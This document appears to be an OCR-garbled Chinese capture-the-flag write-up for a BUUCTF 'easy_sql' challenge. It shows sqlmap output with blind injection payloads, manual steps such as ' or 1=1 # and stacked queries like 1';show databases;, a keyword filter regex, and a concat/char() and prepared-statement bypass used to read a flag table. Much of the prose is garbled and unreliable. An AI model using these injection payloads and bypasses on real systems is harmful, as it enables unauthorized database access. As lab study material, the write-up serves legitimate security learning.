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[ol=>
string(l1) "17
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string (7} “hahahah”
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"array(2) {
[e]=>
string(1) "1"
[1]=>
string(7) "hahahah”
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root@kali: ~

ME(F) fwiB(E) BE(V) HER(S) £iNT) #EHH)
[ ] [INFO] GET parameter 'inject' appears to be 'AND boolean-based blind
- WHERE or HAVING clause' injectable (with --string="array(2) {\n [0]l=>\n stri
ng(1l) "1"\n [1]=>\n string(7) "hahahah"\n}")
[ 1 [ ] testing 'MySQL >= 5.8 AND error-based - WHERE, HAVING, ORDER B
¥ or GROUP BY clau (FLOOR) '
[ 1 [ ting | ND error-b: - WHERE or HAVING cla :
[ 1 [ sting serv Sybase AND error-b: - WHERE o
r HAVING clause (IN)

] et d - WHERE or HAVING clause (XMLT

(FLOOR) "'
L inline que
QL inli

(comment)
] 'Oracle stacked queries (DBMS_ PIPE.RECEIVE MESSAGE - ¢
omment) '
[ ] testing 'MySQL >= 5.8.12 AND time-b blind"’
[ ] [INFO] GET parameter 'inject' appears to be 'MySQL >= 5.0.12 AND time
-based blind® injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads sp
ecific for other DBMSes? [Y/n] [l [ |
ERATEEE RS Ctrl+G, BOE N L
i3 L L1544 B L~

BAERE~ (iR~ 28 13:00

root@kali: ~
MHHE) #REB(E) BEN) H=RG) 2O FEEHH)

false positive
GET parameter 'inject' is vulnerable. Do you want to keep testing the others (if
any)? [y/N]l n
sqlmap identified the following injection point(s) with a total of 87 HTTP(s) re
ques
Parameter: inject (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: inject=1' AND 5035=5035 AND 'CLIz'='CLIz

Type: time-based blind
Title: MySQL == 5.0.12 AND time-based blind
Payload: inject=1' AND SLEEP(5) AND 'ohoc'='ochoc




[ ] [INFO] the back-end DBMS is MySQL

web application technology: PHP 7.3.10, OpenResty

back-end DBMS: MySQL == 5.0.12

[ 1 [ ched data logged to text files under '/root/
49036c98-3T6d-4 87-51dcbffebeae.node3.buuoj.cn'

[#] ending @ 13:00:18 /2020-08-09/
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XH(F) wIB(E) EBB(V) HEE=(S) LiRT) FBH(H)

[ I ITNG] in case of continuous data retrieval problems you are advis
ed to try Sh ! or switch '--h

[ ] unable to retrieve

[ falling back to current databa

[ fetching current database

[ retrieved: su

]
1
ation step

available databa

[#] sui

[ WARN or codes detected during run:

429 (?) - 7 times

[ | ched data log to text files under '/root/.sqlmap/output/
49036c98 6d- B Jbeae.node3.buuoj.cn'

[#] ending @ 13:02:21 /2020-08-09/
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root @kali: ~

MHE) fwEEE) BBV HEREG) ERT) FEEIH)
back-end DBMS: MySQL == 5.0.12

] fetching tables for database: 'sui'

] fetching number of tables for database 'sui'

| G] running in a single-thread mode. Please consider usage of o

ption '-- 'Fm faster data retrieval
[ i
[ WARNING] time- bd_cd comparison requires larger statistical model, pl
ease wait.. : (done)
[ w‘ it is very important to not stress the network connection d
uring usage of time-based payloads to prevent potential disruptions

[ WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no- t' or switch "-- j

[ WARNING] unable to retrieve the number of tables for database 'sui’
[ [ ] unable to retrieve the table names for any database

do you want to use common table existence check? [y/N/q] n

No tables found

[ 1l ] fetc data lo d to text files under '/

49036Cc98-3f6d- 8 -51dcbffebeae. 3.buuoj.cn’

[*] ending @ 13:10:48 /2020-08-09/
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RATHEREREAR.
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SELECT FROM TABLENAME WHERE inject g
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IREBATEANIENEAT or 1=1 #

SELECT FROM TABLENAME WHERE inject 1=1

5XSSHRASHE R MR T2, MARNZEPIRIMAGZ/E, NBT —M=1, RBEREZHENMERMIE, R Hinject=IE
BRZBRE1=1E —NMHE, RSREERRSHTARSE.

AT or1=1#)5, BB TWTER:

'= <.—'f|| 1 easy_sql X L_|_ v

& — O o () al16c179-6df7-4f4c-b150-9b936cccad3d.node3.buuoj.cn/?inject=1%27+or+1%3D1+%23

B FRAEENRSE, Rii—aih: ARZER—4A9

Z |1 || izzsEman |

array(2) {

[@]=>

string(1) "1"

[1]=>

string(7) "hahahah™
}

array(2) {
[@]=>
string(1) "2"
[1]=>
string(12) "miaomiaomiao”

}

array(2) {
[6]=>
string(6) "114514"
[1]=>
string(2) "ys"
}

TR arrayit 2 R P HEHE . TREEFHBsql, EHWEERME K RIZEE RO RS RINBER . 44:Fwriteup.
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‘—fl‘ 1 easy_sql X I.'. S
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BFRRAEERIRSE, Rik—ih: ARMRER—4A0
2s=dll] || izzrEnams |

error 1854 : Unknown column '3' in 'order clause’

171054 “order ¥ 4" i R 153"

BASEIR, WHRMNRPRF2NFER QHHEE) . AR5 Hunion selectif ) & )15 B2 7 Bt BT A £udfE -
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<—5| 1 easy_sql X [—l— ~

< — @) m (O] a1‘16c179-6df?-4f4c—b150-9b936cccad3d.node3.buuoj.cn,f?inject=++'I%27—ur-1%c_>"n—select+1%2(:2%23
NHMFRREERIRSE, Rii—aig: FRNZER-
2 |1 || i=zrEanE |

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

XA E SRR BRI T . ORI A sclectZ K sqlif ik

HTEREFEIEA —Esqlciy, FWEBERIsqRENMTAE, MEIRM THBEN. FHBHESEN, REE - MMIEE
AZ%ER. A0S 5i—aEToE, £ T —FRARNEKEREsqiEAHFHT

1';show databases;
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N 7 a116c179-6df7-4f4c-b150-9b936cccad3d.node3.buuoj.cn/?inject=1%27%3Bshow+databases%3B%23
0 ) ]

BFRXEERIRSE, Rii—0ih: ARMRER—4F0

1 || izsrEmans |

array(2) {
[e]=>
string(1) "1"
[1]=>
string(7) "hahahah"

array(1l) {
[8]=>
string(11) "ctftraining”

array(1l) {
[e]=>
string(18) "information_schema"”

}

array(1l) {

[e]=>

string(5) "mysql”
}

array(1) {
[8]=>
string(18) "performance_schema™

array(1) {

[8]=>

string(9) "supersqli”
}

array(1) {

[e]=>

string(4) "test”
}

HEBENE, CETHAEEAERMBLRT .. SSBEARSL.

1';show tables;
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< — ) o (O | al16c179-6df7-4f4c-b150-9b936cccad3d.node3.buuoj.cn/?inject=1%27%3Bshow+tables%3B%23

BFRAREERIRSE, Rin—Rih: ALHZSR—40

zam [1 || iIEsrEmans |

array(2) {
[@]=>
string(1) "1™
[1]=>
string(7) "hahahah"

array(1l) {

[@]=>

string(16) "1919810931114514"
}

array(1l) {
[0]=>
string(5) "words"

}

R HERPKE.

1';show columns from words;



‘= <—5| = easy_sql X l.'. v
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B FRRAEERESE, Rii—Rih: ARNZLR—A

2[4 || izzrEams |

array(2) {
[8]=>
string(1) "1"
[1]=>
string(7) "hahahah"

array(6) {
[e]=>
string(2) "id"
[1]=>
string(7) "int(1@)"
[2]=>
string(2) "NO"
[3]=>
string(@) ""
[4]=>
MULL
[5]=>
string(@) ""

¥

array(6) {
[e]=>
string(4) "data"
[1]=>
string(11) "varchar(20)"
[2]=>
string(2) "NO"
[3]=>
string(@) ""
[4]=>
MULL
[5]=>
string(@) ""

1';show columns from "1919810931114514  ;

ER: XEAMSISTHENAES LT, RBARESECXESVARREFH-EHR. BRXBERNHETFHARRE T, X
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NFRAXEERIRSE, Rii—aih: ALHRER—AT

i1 || izseEsiazs |

array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(e) ""
[4]=>

[5]=>
string(@) ""

A LAE EIflag?E1919810931114514iX B 7 . # T REE HflagFBHIE R . HEA1 HpayloadBHTIEAE#]. X EHIER
FREMREM. F-REANR —METESRL KA TERNN G RN, BT alert(@mm), rename(B 4B )E&AHBILIE. (BITENIH
W PwordsR 2 BNE WK, buuctMZ2IEX NI4T Orz.

(FriBMpayload, B HMBAE MR, HILHR2 BT R ARD)

FRUHE ZFJrik, Hconcatif$. concat®#KIThEE R K LN ERFBEEER—NER .

ey

1919810931114514" * test

XFA)E R —ascifd i R, SIMERERR T IXA)E. %— 8 — K%, char(115,101,108,101,99,116)& — A asciifid %
FREMTR, BREHNFRHFER: select
RARIEEBEW T ! I FERXA)ER S 2

=

1919810931114514° * test

Miconcat() A BHHEFAT 8, WAHMRBIEBRKIIE, FitELdconcathf2 JEKIMCRWT

[=Y

1919810931114514° ' test

IR T G2 ) selectBOT U ITE AL . 1ER A R charfl i S8 X AN TTVE B & R 3
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& — 0O ! () | a28d1390-63ab-4ee1-85d1-506d6a7174a2.node3.buuoj.cn/?inject=1%27%38B

M FEREERIZEE, Rin—aiE: A%
a1 ==

array(2) {

[6]=>

string(1) "1"

[1]=>

string(7) "hahahah™
¥

array(1) {

[8]=>

string(42) "flag{ i
¥
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o fijf

e SQL H fjconcat() A Kgroup_concat() &%k i1 F - 2% Ryan - %

o Hf#EMysql prepare st #iE4] php-CSDNIE%E mysql preparei& )

e execute () J¥%_JinandawangiI 8% -CSDNE % execute
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